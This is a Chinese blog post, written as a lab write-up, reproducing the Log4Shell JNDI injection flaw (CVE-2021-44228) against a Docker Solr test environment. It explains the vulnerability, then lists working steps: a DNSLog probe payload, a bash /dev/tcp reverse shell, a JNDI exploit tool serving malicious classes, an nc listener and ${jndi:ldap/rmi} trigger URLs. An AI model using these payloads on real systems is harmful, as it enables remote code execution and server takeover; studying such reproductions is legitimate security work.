记一次详细的JNDI 注入(反弹shell)漏洞(CVE-44228)

记一次详细的JNDI 注入(反弹shell)漏洞(CVE-44228)

什么是JNDI 注入漏洞?

​ 当前注入漏洞位于OWASP 2025 第5位,而JNDI 注入漏洞是一种因程序对 Java 命名和目录接口(Java Naming and Directory Interface,JNDI)的不安全使用而引发的远程代码执行类漏洞。JNDI 是 Java 提供的一套标准接口,用于统一访问 LDAP、RMI、DNS 等多种命名 / 目录服务,其核心功能是通过名称检索对应的对象或资源。

​ 当程序未对传入 JNDI 接口的名称参数做严格校验,且允许从远程服务器加载对象时,攻击者可构造恶意的 JNDI 引用并注入到程序的输入点中。程序执行 JNDI 查找操作时,会主动连接攻击者控制的远程服务器,加载并实例化其中的恶意 Java 类,进而触发类中的恶意代码执行,最终实现远程代码执行、服务器权限控制等高危攻击效果。

关于CVE-2021-44228

​ CVE-2021-44228 又称 Log4Shell,是 2021 年 12 月 9 日公开披露的 Apache Log4j2 框架 JNDI 注入漏洞,CVSS 达到了最高的评分 10.0,属远程代码执行漏洞。Log4j2 是 Java 生态广泛使用的开源日志框架,该漏洞源于其支持用${}语法解析日志中的 Lookup 表达式,其中 JndiLookup 功能可通过 JNDI 协议从远程服务器查找对象。当程序记录攻击者构造的恶意 JNDI 引用时,会触发 JNDI 查找,加载并执行远程恶意 Java 类,实现服务器受控、数据窃取等攻击,且利用无需身份认证,0 交互即可触发。其影响范围极广,覆盖 2.0-beta9 至 2.14.1 版本,波及全球大量 Java 应用与云服务。官方修复措施包括升级至 2.16.0 及以上版本、关闭 Lookup 功能、禁用 JNDI 远程类加载等。

所需工具和相关知识

log4j2

​ Log4j2 是 log4j 的后继者,是 Apache 的一个开源日志库,一个基于 Java 的日志记录框架。其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

JNDI

​ JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

​ JNDI接口初始化的时候,如果lookup()函数内参数是用户可控的,攻击者就可以编写恶意的参数,通过JNDI的功能来
加载攻击上的恶意class类,造成注入。攻击者常用的就是通过'rmi'或'ldap'协议

DNSLOG

​ DNSLog 是渗透测试与漏洞挖掘中常用的一种无回显漏洞检测技术,核心作用是通过 DNS 查询日志来间接验证漏洞是否存在或命令是否执行。在很多场景下,目标系统存在注入类漏洞(如命令注入、SQL 注入、JNDI 注入),但由于防火墙限制、目标无公网 IP 或漏洞本身无输出回显,攻击者无法直接获取漏洞触发结果,此时就可以借助 DNSLog 平台实现 “带外检测”。

​ 攻击者构造包含 DNSLog 平台提供的子域名的恶意载荷(如 ${jndi:ldap://xxx.dnslog.cn} 或 ping xxx.dnslog.cn),将载荷注入目标系统。若漏洞被触发,目标系统会主动发起 DNS 解析请求,访问该子域名,DNSLog 平台会记录下这次查询请求的源 IP、时间等信息。攻击者通过查看平台的日志记录,就能确认漏洞已成功触发,无需依赖目标的直接输出反馈。

反弹shell和正向shell的区别

​ 反弹 shell 是渗透测试与网络攻击中常用的一种远程控制技术,与传统正向 shell 相反。正向 shell 是攻击者主动在本地发起连接,去访问目标主机开放的端口以获取交互终端;而反弹 shell 则是由被攻击的目标主机主动发起连接,反向连接到攻击者预先监听的服务器端口,从而建立起一个可交互的命令行会话。
​ 它能够绕过目标主机的防火墙策略 —— 多数防火墙会拦截外部发起的陌生入站连接,但默认允许主机主动发起的出站连接。攻击者通常会在目标主机上执行一段恶意代码,这段代码会触发目标主机主动连接攻击者的 IP 和监听端口,一旦连接建立,攻击者就能在本地监听端执行系统命令,实现对目标主机的远程操控。

基本实现原理

​ log4j2提供lookup功能模块,log4j2在处理打印日志记录时,如果日志中包含${} 时,就会解析里面的值,
例如${java.version} 就会解析对应的java的版本,攻击者可以利用这一点进行jndi注入,使用rmi/ldap协议
从远程服务器上获取恶意的class类文件,并从本地加载返回的class类,造成命令执行漏洞。

漏洞复现与利用

PS:本次漏洞可在kali、Centos中实现,方法相同。

1、使用docker安装、启动好靶场环境后查看使用的端口:

docker ps -a

2、进入以下网址获取子域名:

http://www.dnslog.cn/

3、构建恶意荷载,更改URL在浏览器使用后刷新记录,验证漏洞存在:

http://虚拟机ip:端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.获取到的子域名}

因为构建的URL中有${sys:java.version} ,相当于使用系统命令行中执行java -version ,和你在命令行输命令效果相同。带出版本号,代表漏洞存在。

4、进入以下链接下载JNDI工具(下载较为方便的java型),放在攻击工作文件夹下:

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

5、利用网页工具对构造的反弹shell进行bash编码:

bash -i >& /dev/tcp/虚拟机ip/你想要使用的监听端口 0>&1

6、在服务器(这里我是自己攻击自己)上执行以下代码,获取class类:

# java 需要是 1.8的环境 查看 java -v 是否是1.8
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "上一步构造反弹shell的命令的base64编码"

以上获取到的三个后缀都是生成的class文件,在下方的服务日志中可以看到开启的RMI、LDAP服务端口

7、在攻击端的命令行启动一个终端,监听先前设置的使用端口的返回内容

nc -lvvp 你先前设置的想要使用的监听端口

8、修改漏洞点的URL后缀,下方实例挑一个使用即可:

action=${jndi:ldap://虚拟机ip:LDAP端口/其中一个生成的LDAP class类}
action=${jndi:rmi://虚拟机ip:RMI端口/其中一个生成的RMI class类}

9、测试命令是否可以正常执行:

至此复现与利用完成。

最后要记得把靶场关掉。

今日日鞠

posted @ 2026-01-14 16:17  爱与希望の海  阅读(5)  评论(0)    收藏  举报